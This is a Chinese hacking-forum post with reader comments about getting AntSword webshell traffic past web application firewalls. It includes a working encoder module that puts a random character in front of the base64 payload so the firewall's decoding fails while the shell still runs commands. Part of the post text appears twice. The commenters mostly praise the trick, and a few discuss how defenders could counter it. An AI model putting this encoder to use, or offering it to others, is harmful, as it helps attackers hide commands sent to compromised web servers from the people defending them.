分享一个AntSword过waf的小技巧
AntSword支持multipart之后可扩展性更强了,这里分享一个小技巧可以绕过基于流量的恶意请求检测
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机字符
var random = String.fromCharCode(Math.floor(Math.random() * 26) + 65);
// 原有的 payload 在 data['_']中
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = random + new Buffer(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
评论53次
如果流量检测 检测返回数据包 windows nt ......还是会报警的
用户:在payload前面加一个任意字符waf:赶紧加规则,去掉第一个字符以后base64 decode用户:在payload最后再加一个任意字符waf:去掉第一个字符以后再去掉最后一个字符然后base64 decode用户:在payload的第*%&*位加一个任意字符waf:……
AntSword插件库还可以用吗?我的都打开没啥东西了
攻防对抗,不断提升
antsword现在各种被杀,如果不处理的话
刚刚在其他贴子看到的,过来收藏一波
waf写规则可以直接匹配base64之后的东西吧,不匹配解码后的内容这个方法就无效了吧?我是这么理解的,错了请指正
antsword功能太牛逼了
好灵活 自己在修修改改 学xi了 感谢作者的分享
@kylinking 楼主测试的是哪个waf?
没有实际测试哪个waf,只是提供一种思路
这种自定义的流量加密,waf再怎么更新规则都没用
老哥,你这句话发了3遍了哎。。。。
卧槽,还真是,怎么会这样 难道是网络问题,居然发了那么多次一模一样的
@kylinking 楼主测试的是哪个waf?
用户:在payload前面加一个任意字符waf:赶紧加规则,去掉第一个字符以后base64 decode用户:在payload最后再加一个任意字符waf:去掉第一个字符以后再去掉最后一个字符然后base64 decode用户:在payload的第*%&*位加一个任意字符waf:……
将通过这种方法混淆过的流量二次编码后再次使用这种方法,这种思路是不是更骚一点??
这种自定义的流量加密,waf再怎么更新规则都没用
老哥,你这句话发了3遍了哎。。。。
这个要对后门查杀才是根本
代替菜刀,确实非常灵活
这个很强啊,我日,前面还可以加各种脏字符,写规则的同学估计要头皮发麻了
这个思路nb啊,学xi了,还是利用waf解码特性,这个估计跟进的话难度不小吧……
xi望以后多多发一些bypass waf的。
编码重组,看懂了意识。还没用过antsword
先留着了 感觉以后会用到~